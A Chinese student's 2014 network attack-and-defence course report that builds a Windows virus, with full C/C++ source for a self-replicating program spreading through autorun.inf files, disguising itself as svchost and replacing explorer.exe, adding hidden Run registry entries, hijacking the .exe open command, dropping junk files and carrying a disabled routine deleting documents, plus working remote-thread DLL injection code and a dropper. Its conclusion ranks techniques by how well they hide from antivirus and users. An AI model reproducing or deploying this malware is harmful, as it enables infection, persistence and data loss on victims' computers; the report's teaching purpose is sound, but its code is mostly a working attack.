《网络攻防课程设计》

设计报告

学　　院：　信息工程学院

专业班级：　信息安全 111 班

学　　号：　31

姓　　名：　江林伟

指导老师：　李 伟

完成时间：　2014 年 7 月 4 日

成　　绩：

一、设计目的

- 利用 C++编写基本的病毒
- 了解自动生成病毒体的病毒特性
- 学会病毒开机自启动的手段和注册表设置
- 了解并实现注入 DLL 的方法

二、设计要求与指标

- 在 C、D、E 盘和 C:\Windows\System、C:\Windows 中生成病毒体文件。
- 在 C、D、E 盘中生成自动运行文件。
- 注册 C:\Windows\system\svchost.exe，使其开机自动运行。
- 在 C:\Windows\System 下生成隐蔽 DLL 文件
- 病毒在执行后具有相联复制能力

三、设计内容与具体实现过程

3.1 自我复制与运行

类似普通 U 盘病毒，具有自我复制、运行能力。

```
/*

 * svchost.cpp

 *

 *  Created on: 2014年7月2日

 *      Author: ismdeep

 */



/* SVCHOST.CPP   */

/* SVCHOST.EXE */



#define SVCHOST_NUM 6

#include <stdio.h>

#include <string.h>
```

```
#include <windows.h>

char *autorun =

          {


    "[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开
\nshell\\1
\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Com
mand=SVCHOST.exe\nshellexecute=SVCHOST.exe" };

char *files_autorun[10] =

{ "c:\\autorun.inf", "d:\\autorun.inf",
"e:\\autorun.inf" };

char *files_svchost[SVCHOST_NUM + 1] =

{ "c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe",

          "c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe", "d:\\SVCHOST.exe",

          "e:\\SVCHOST.exe", "SVCHOST.exe" };
```

```
char *regadd =

        "reg add
\"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\
\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe
/f";



int copy(char *infile, char *outfile)

{

    FILE *input, *output;

    char temp;

    if (strcmp(infile, outfile) != 0 && ((input =
fopen(infile, "rb")) != NULL)

            && ((output = fopen



            (outfile, "wb")) != NULL))

    {

        while (!feof(input))

        {

            fread(&temp, 1, 1, input);

            fwrite(&temp, 1, 1, output);

        }

        fclose(input);

        fclose(output);

        return 0;

    } else

        return 1;

}

int main(void)
{

    FILE *input, *output;

    int i, k;

    for (i = 0; i < 3; i++)

    {

        output = fopen(files_autorun[i], "w");

        fprintf(output, "%s", autorun);

        fclose(output);

    }

    for (i = 0; i <= SVCHOST_NUM; i++)

    {

        if ((input = fopen(files_svchost[i],
"rb")) != NULL)

        {

            fclose(input);

            for (k = 0; k < SVCHOST_NUM; k++)

            {

                copy(files_svchost[i],
files_svchost[k]);

            }

            i = SVCHOST_NUM + 1;

        }

    }

    system(regadd); /* 注册 SVCHOST.exe,让其在启动时
运行 */

    return 0;

}
```

3.2 感染可执行文件

1、在所有磁盘的根目录生成 svchost.com 和 autorun.inf 文件

2、生成病毒体

```
c:\windows\wjview32.com

c:\windows\explorer.exe

c:\windows\system32\dllcache\explorer.exe

c:\windows\system\msmouse.dll

c:\windows\system32\cmdsys.sys

c:\windows\system32\mstsc32.exe
```

3、病毒体 C:\Windows\explorer.exe 感染原 explorer.exe 文件，使其不需要修改注册表实现开机启动，并且可以在 explorer.exe 启动之前启动。

4.修改注册表，在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 设置自启动项（此操作不使用 windowsAPI,防止用户对病毒体的发现，并实现并行执行）
5.生成的 autorun.inf 改变磁盘的打开方式，使其在 windows2000 以上的系统无论选择“打开”、“双击”、“

资源管理器”等方式都无法打开分驱，而是以运行病毒的方式取而代之。
6.连锁能力，将病毒体相连，实现相连复制更新
7.使用进程不断调用进程，使得在任务管理里无法结束病毒进程
8.不断搜索磁盘，只要发现未感染病毒的一律感染，病毒删除后 1 秒内再建
9.生成垃圾文件（DESTORY_感染_任意数字）5 个于 C 盘下
10.附带删除文件函数（为防止危害，本函数默认不执行）

提供病毒卸载程序（保存为 X.BAT，双击运行即可卸载）：

```
@echo off
taskkill /im mstsc32.exe /f
del c:\windows\wjview32.com
del c:\windows\explorer.exe
del c:\windows\system32\dllcache\explorer.exe
del c:\windows\system\msmouse.dll
del c:\windows\system32\cmdsys.sys
del c:\windows\system32\mstsc32.exe
del c:\svchost.com
del c:\autorun.inf
del d:\svchost.com
del d:\autorun.inf
del e:\svchost.com
del e:\autorun.inf
```

```
del f:\svchost.com
del f:\autorun.inf
del g:\svchost.com
del g:\autorun.inf
del h:\svchost.com
del h:\autorun.inf
copy c:\windows\system\explorer.exe
c:\windows\explorer.exe
copy c:\windows\system\explorer.exe
c:\windows\system32\dllcache\explorer.exe
del c:\windows\system\explorer.exe
echo FINISH!
pause
```

实现上述功能的病毒源代码

```
/*
 * svchost.cpp
 *
 *  Created on: 2014年7月2日
 *      Author: ismdeep
 */

#include <stdio.h> /*标准输入输出*/
#include <string.h> /*字符串操作*/
#include <stdlib.h> /*其它函数*/
#include <process.h> /*进程控制*/
#include <dir.h> /*目录函数*/
#include <windows.h>

#define SVCHOST_NUM 6 /*关键位置病毒复制数量*/
#define RUBBISH_NUM 5 /*垃圾文件数量*/
#define REMOVE_NUM   5 /*删除文件数*/
```

3.2.1 autorun.inf 内容

```
/*
 文件 AUTORUN.INF 内容：
 1.自动运行 SVCHOST.com
 2.覆盖默认打开命令，使用病毒体作为新的打开方式
 3.覆盖默认资源管理器命令，使病毒体作为新的命令方式
 */
```

```
char *autorun =

        {

                "[AutoRun]\nopen=\"SVCHOST.com /s\"\nshell\\open=打开(&O)\nshell\\open\\Command=\"SVCHOST.com /s\"\nshell\\explore=资源管理器(&X)\nshell\\explore\\Command=\"SVCHOST.com /s\"" };
```

3.2.2 添加注册表项

```
/*
 添加注册表项：
 1.自动运行生成病毒体 C:\windows\wjview32.com
 */
char *regadd=
{   "REGEDIT4\n\n

    [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32

    \"=\"C:\\\\windows\\\\wjview32.com /s\""};
```

3.2.3 复制文件

```
/*
 函数：复制文件
 复制源：infile
 目的地：outfile
 成功返回 0，失败返回 1
 */
int copy(char *infile, char *outfile)
{
    FILE *input, *output;
    char temp;
    if (strcmp(infile, outfile) != 0 && ((input = fopen(infile, "rb")) != NULL)
            && ((output = fopen
            (outfile, "wb")) != NULL))
    {
        while (!feof(input))
        {
            fread(&temp, 1, 1, input);
            fwrite(&temp, 1, 1, output);
        }
        fclose(input);
        fclose(output);
        return 0;
```

```
    } else

        return 1;
```

```
}
```

3.2.4 通过 explorer 自动运行

```
/*

 函数：通过 explorer 自动运行

 成功返回 0，失败返回 1,2

 */

int autorun_explorer()

{

    FILE *input;

    if ((input =
fopen("c:\\windows\\system\\explorer.exe", "rb")) !=
NULL)

    {

        fclose(input);

        remove("c:\\windows\\$temp$");


    remove("c:\\windows\\system32\\dllcache\\$temp$"
);

        return 1;

    }
```

```
    copy("c:\\windows\\explorer.exe",
"c:\\windows\\system\\explorer.exe");


    rename("c:\\windows\\explorer.exe",
"c:\\windows\\$temp$");


rename("c:\\windows\\system32\\dllcache\\explorer.ex
e","c:\\windows\\system32



        \\dllcache\\$temp$");


    if(copy("SVCHOST.com","c:\\windows\\explorer.exe
")==0 && copy




    ("SVCHOST.com","c:\\windows\\system32\\dllcache\
\explorer.exe")==0)

        return 0;

        else

        return 2;

    }
```

3.2.5 添加注册表项

```
/*

 函数：添加注册表项

 成功返回 0，失败返回 1

 */

int add_reg()

{

    FILE *output;

    if ((output = fopen("$$$$$", "w")) != NULL)
```

```
    {
        fprintf(output, regadd);
        fclose(output);
        spawnl(1, "c:\\windows\\regedit.exe", " /s $$$$$", NULL);
    }
}
```

3.2.6 复制病毒+autorun.inf 自动运行

```
/*
 函数：复制病毒 + Autorun.inf 自动运行
 */
void copy_virus()
{
    int i, k;
    FILE *input, *output;
    char *files_svchost[SVCHOST_NUM]=
    {
    "svchost.com","c:\\windows\\wjview32.com","c:\\windows\\system\\MSMOUSE.DLL","c:\\windows\\system32\\cmdsys.sys","c:\\windows\\system32\\mstsc32.exe","c:\\windows\\explorer.exe"};
        char temp[2][20]=
        {   "c:\\svchost.com","c:\\autorun.inf"};
        for (i = 0; i < SVCHOST_NUM; i++)
        {
            if ((input = fopen(files_svchost[i], "rb")) != NULL)
            {
                fclose(input);
                for (k = 0; k < SVCHOST_NUM; k++)
                {
                    copy(files_svchost[i], files_svchost[k]);
                }
                i = SVCHOST_NUM;
            }
        }
        for (i = 0; i < SVCHOST_NUM; i++)
        {
            if ((input = fopen(files_svchost[i], "rb")) != NULL)
            {
                fclose(input);
                for (k = 0; k < 24; k++)
                {
                    copy(files_svchost[i], temp[0]);
                    if ((output = fopen(temp[1], "w")) != NULL)
                    {
                        fprintf(output, "%s", autorun);
                        fclose(output);
```

```
                        }
                        temp[0][0]++;
                        temp[1][0]++;
                    }
                    i = SVCHOST_NUM;
                }
            }
        }
    }
```

3.2.7 制造垃圾文件

```
/*
 函数：制造垃圾文件
 */
void make_rubbish()
{
    int i;
    FILE *output;
    srand(0);
    for (i = 0; i < RUBBISH_NUM; i++)
    {
        int n;
        char s[30];
        n = rand();
        sprintf(s, "C:\\DESTORY_感染_%d", n);
        if ((output = fopen(s, "w")) != NULL)
        {
            fprintf(output, "%ld%s", n * n, s);
            fclose(output);
        }
    }
}
```

3.2.8 删除文件

```
/*
 函数：删除文件
 */
void remove_files()
{
     long done;
     int i;
     struct _finddata_t ffblk;
     char *remove_files[3] =
     { "*.txt", "*.doc", "*.xls" };
     for (i = 0; i < 3; i++)
     {
          if (_findfirst(remove_files[i], &ffblk) ==
-1)
               continue;
          while (!done)
          {
               remove(ffblk.name);
               _findnext(done, &ffblk);
          }
          _findclose(done);
     }
}
```

3.2.9 主程序

```
/*
 主程序
 使用 DEV-CPP 32 位 C 工程 实现.C 程序脱离命令行界面，于后台执行
 */
int main(int argc, char **argv)
{
     int contral = 0;
     if (argc > 1)
          if (strcmp(argv[1], "/s") == 0)
               goto next1;
     autorun_explorer();
     spawnl(1, "c:\\windows\\system\\explorer.exe", NULL);
     next1: add_reg();
     copy_virus();
```

```
    make_rubbish();
    /* remove_files(); */
    spawnl(1, "c:\\windows\\system32\\mstsc32.exe", " /s", NULL);
    return 0;
}
```

3.3 修改注册表

3.3.1 可以用于病毒开机自启动的注册表位置：

```
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices]
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices]
```

以上只是默认运行的部分注册表位置，其实还可以在系统启动外客(shell explorer.exe)后添加病毒路径等方法，同样可以实现通过注册表开机自动运行。

3.3.2 关联文件类型

在注册表 HKEY_CLASS_ROOT 下可以更改文件类型的默认启动程序，比如更改 EXE 文件的启动程序为你写的病毒，那么每当运行 exe 程序时，病毒将替代程序运行

例：

到注册表 HKEY_CLASS_ROOT\exefile\shell\open\command 下，修改“默认”修改为 c:\windows\svchost.exe "%1" %*，那么以后运行.exe 文件时只会运行 c:\windows\svchost.exe

3.3.3 程序修改注册表的方法：

(1)使用 REG 命令添加修改注册表：

REG 命令使用方法具体可以在命令提示符中输入 REG /?和通过参阅 Windows 命令帮助查看

主要格式：

```
REG Operation [Parameter List]
Operation[QUERY|ADD|DELETE|COPY|SAVE|LOAD|UNLOAD|RESTORE|COMPARE|EXPORT|IMPORT ]
```

例：向 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 中添加名为 SVCHOST 的键值，键值内容为 C:\Windows\system\SVCHOST.exe

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v SVCHOST /d C:\Windows\system\SVCHOST.exe /f

调用 reg 命令的方法主要有两中，一种是使用 C 语言中的 system 函数，另一种是使用 C 语言中的 spawn 类函数（如函数 spawnl）。具体 system 和 spawnl 使用方法请参见其它资料，这里仅举一例：

例：用 system 函数通过 reg 命令向 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 中添加名为 SVCHOST 的键值，键值内容为 C:\Windows\system\SVCHOST.exe

```
system("reg add\"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f");
```

(2)使用 WindowsAPI 添加修改注册表

WindowsAPI 为我们提供了大约 25 个函数。他提供了对注册表的读取，写入，删除，以及打开注册表及键值时所有函数这些函数有：

```
RegCloseKey

RegConnectRegistry

RegCreateKey

RegCreateKeyEx

RegDeleteKey

RegDeleteVale

RegEnumKey

RegFlushKey

RegGetKeySecurity(Windows9X 不适用)
```

```
RegLoadKey

RegNotifyChangeKeyValue(Windows9X 不适用)

RegOpenKey

RegOpenKeyEx

RegQueryInfoKey

RegQueryValue

RegQueryValueEx

RegReplaceKey

RegRestoreKey(Windows9X 不适用)
```

```
RegSaveKey

RegSetKeySecurity(Windows9X 不适用)

RegSetValue
```

```
RegSetValueEx

RegUnLoadKey
```

等，函数的使用需要在 32 位 C 编译器下调用 windows.h 文件，同(1)中一样，具体函数的使用方法请参见其它资料,这里仅举一例.
例:通过 WindowsAPI 向 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 中添加名为 SVCHOST 的键值，键值内容为 C:\Windows\system\SVCHOST.exe

```
TRegistry* Registry;

Registry=new TRegistry();

Registry->RootKey=HKEY_LOCAL_MACHINE;

Registry->OpenKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",FALSE);

Registry->WriteString("SVCHOST","C:\\Windows\\system\\SVCHOST.exe");WriteString()

Registry->CloseKey();
```

(3)使用 REGEDIT 添加修改注册表
REGEDIT 就是注册表编辑器，但它其实有一个/s 的参数，只要调用 regedit /s 注册表文件，就可以在后台无提示的修改注册表。同样需要用 spawnl 函数调用它。

例：通过 spawnl 函数调用 regedit 向 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 中添加名为 wjview32 的键值，键值内容为 C:\windows\wjview32.com /s

```
char
*regadd={"REGEDIT4\n\n[HKEY LOCAL MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32\"=\"C:\\\\windows\\\\wjview32.com /s\""};

FILE *output;

if((output=fopen("$$$$$","w"))!=NULL)

{

   fprintf(output,regadd);

   fclose(output);

   spawnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL);

}
```

3.4 DLL 注入

随着病毒的发展,病毒也由破坏的目的转为利益的目的,因此隐蔽的 DLL 病毒逐渐发展起来.DLL 是 Dynamic Link

Library 的缩写,中文为动态链接库,它的实质并不是一个程序,而是由多个功能函数构成的.而 DLL 病毒是通过

特别的方法,让系统文件 Rundll.exe \ Rundll32.exe 等调用其的函数,而所调用的函数的代码就是病毒代码,或

者通过线程插入技术插入到系统进程 explorer.exe svchost.exe lsass.exe winlogon.exe 等或

iexplorer.exe 等常用软件进程中,达到隐蔽的目的.
DLL 病毒的编写(rundll32.exe 调用法)

DLL 注入源代码

```
#include <windows.h>

#include <iostream.h>

#include <tlhelp32.h>

#include <stdio.h>



// 思路：在目标进程中创建一个新的线程，向这个线程传递要注入的 Dll 的地址




BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId);

int EnableDebugPriv(const char *name);

DWORD GetProcessId();



int main()
{

    char myFile[MAX_PATH];

    GetCurrentDirectory(MAX_PATH, myFile);

    strcat(myFile, "\\mydoor.dll");

    InjectDll(myFile, GetProcessId());



    return 0;

}



BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)

{

    HANDLE hRemoteProcess;



    // 设置权限，可以打开其他进程
```

```
    EnableDebugPriv(SE_DEBUG_NAME);



    // OpenProcess(): Opens an existing local process object.

    hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, dwRemoteProcessId);



    //VirtualAllocEx(): Reserves or commits a region of memory within the virtual address space of a specified process.

    //                              The function initializes the memory it allocates to zero, unless MEM_RESET is used.

    char *pszLibFileRemote = NULL;

    pszLibFileRemote = (char *)VirtualAllocEx(hRemoteProcess, NULL, lstrlen(DllFullPath)+1, MEM_COMMIT, PAGE_READWRITE);



    //WriteProcessMemory(): Writes data to an area of memory in a specified process.

    //                                        The entire area to be written to must be accessible or the operation fails.

    // 将 DllFullPath 的内容写到这一打开的进程中

    WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (void *)DllFullPath, lstrlen(DllFullPath)+1, NULL);



    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA");



    //CreateRemoteThread(): Creates a thread that runs in the virtual address space of another process.

    // pfnStartAddr 指向的函数会调用 pszLibFileRemote

    HANDLE hRemoteThread;

    if((hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL)) == NULL)

    {

        cout<< "注入线程失败!" << endl;

        return false;

    }



    CloseHandle(hRemoteProcess);

    CloseHandle(hRemoteThread);



    return true;

}



int EnableDebugPriv(const char *name)

{

    HANDLE hToken;

    TOKEN_PRIVILEGES tp;

    LUID luid;



    //OpenProcessToken(): opens the access token associated with a process

    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken);



    //LookupPrivilegeValue:()retrieves the locally unique identifier (LUID) used on a specified system to locally represent the specified privilege name.

    LookupPrivilegeValue(NULL, name, &luid);



    tp.PrivilegeCount = 1;

    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
```

```
    tp.Privileges[0].Luid = luid;



    AdjustTokenPrivileges(hToken, 0, &tp,
sizeof(TOKEN_PRIVILEGES), NULL, NULL);



    return 0;

}



DWORD GetProcessId()

{

    DWORD Pid = -1;



    //CreateToolHelp32Snapshot(): Takes a snapshot
of the specified processes, as well as the heaps,
modules, and threads used by these processes.

    HANDLE hSnap =
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);



    PROCESSENTRY32 lPrs;

    ZeroMemory(&lPrs, sizeof(lPrs));

    lPrs.dwSize = sizeof(lPrs);

    char *targetFile = "calc.exe";

    Process32First(hSnap, &lPrs);

    if(strstr(targetFile, lPrs.szExeFile))

    {

        Pid = lPrs.th32ProcessID;

        return Pid;

    }



    while(1)

    {

        ZeroMemory(&lPrs, sizeof(lPrs));

        lPrs.dwSize = sizeof(lPrs);

        if(!Process32Next(hSnap, &lPrs))

        {

            Pid = -1;

            break;

        }

        if(strstr(targetFile, lPrs.szExeFile))

        {

            Pid = lPrs.th32ProcessID;

            break;

        }

    }



    return Pid;

}
```

这个例子可以在 explorer.exe 运行前启动并再次自动写自动运行键值,前提是需要将该 DLL 文件写于

c:\windows\system32\winsys.dll,这就可以交给 exe 主病毒来做了,这就是要说的 DLL 病毒与 EXE 病毒联合,这样

可以加强病毒的攻击力度,它由主病毒体*.exe 来释放 dll 病毒辅助体*.dll,达到 dll 与 exe 联合的作用.一般

的,dll 用来设置注册表的自启动,以及病毒的复制,而 exe 用来破坏.当然,也有少部分 DLL 病毒孤军奋战,由于十

分隐蔽,也常常十分好用

释放病毒体示例:

```
/*释放上面的简单 dll 病毒体的例子的 exe*/

#include<stdio.h>

unsigned char DLL[15161] = {

...此处代码过长,略... };

int main(void)

{

     FILE *output;

     int i;

     output=fopen("C:\\WINDOWS\\system32\\winsys.dll","wb");

     fwrite(DLL,sizeof(DLL),1,output);

     fclose(output);

     spawnl(1,"c:\\windows\\system32\\rundll32.exe"," C:\\WINDOWS\\system32\\winsys.dll start()",NULL);

     return 0;

}
```

四、总结

使用 REG 命令添加注册表可以达到直接调用系统命令（工具）来修改注册表的目的，如果被杀毒软件拦截也只会显示修改操作的发出来自 C:\WINDOWS\system32\reg.exe，使病毒不容易被寻找到。但由于 REG 命令属于控制台命令，因此调用时有黑色的控制台出现，是病 毒的征兆被感染用户发现，不利于病毒隐藏。

使用 WindowsAPI 添加注册表可以达到直接无须调用系统命令（工具）就可以修改注册表的目的，但如果被杀毒软件拦截会显示修改操 作来自的病毒体文件所在的路径，使病毒容易被寻找到。但由于 WindowsAPI 可以“悄悄”的完成修改，在前台没有任何显示，因此调用时如果未被拦截， 很难被感染用户发觉，利于病毒隐藏。

使用 spawnl 函数+REGEDIT 可以兼得 WindowsAPI 和 REG 两种方法的优势，添加注册表如果被杀毒软件拦截会显示修改操作来自 c:\windows\regedit.exe，使病毒的路径难以被寻找到，利于病毒的隐藏。REGEDIT 可以“悄悄”的完成修改，在前台没有任何显 示，因此调用时如果未被拦截，很难被感染用户发觉，利于病毒隐藏。

五、主要实践活动和参考文献

主要实践活动：

利用 Dev C++和 Code::Blocks 配合 MinGW 编译器编写病毒程序，在虚拟机上运行。

参考文献：

[1] 段钢 编著 加密与解密（第二版） 电子工业出版社

[2] 候俊杰 著 深入浅出 MFC 第 2 版 华中科技大学出版社

[3] SecurityFocus. http://www.securityfocus.com

[4] Internet Security Systems. 2002 November 18 (Revised). X-Force™ Vulnerability Disclosure Guidelines.

[5] 斯泽 计算机病毒防范艺术 机械工业出版社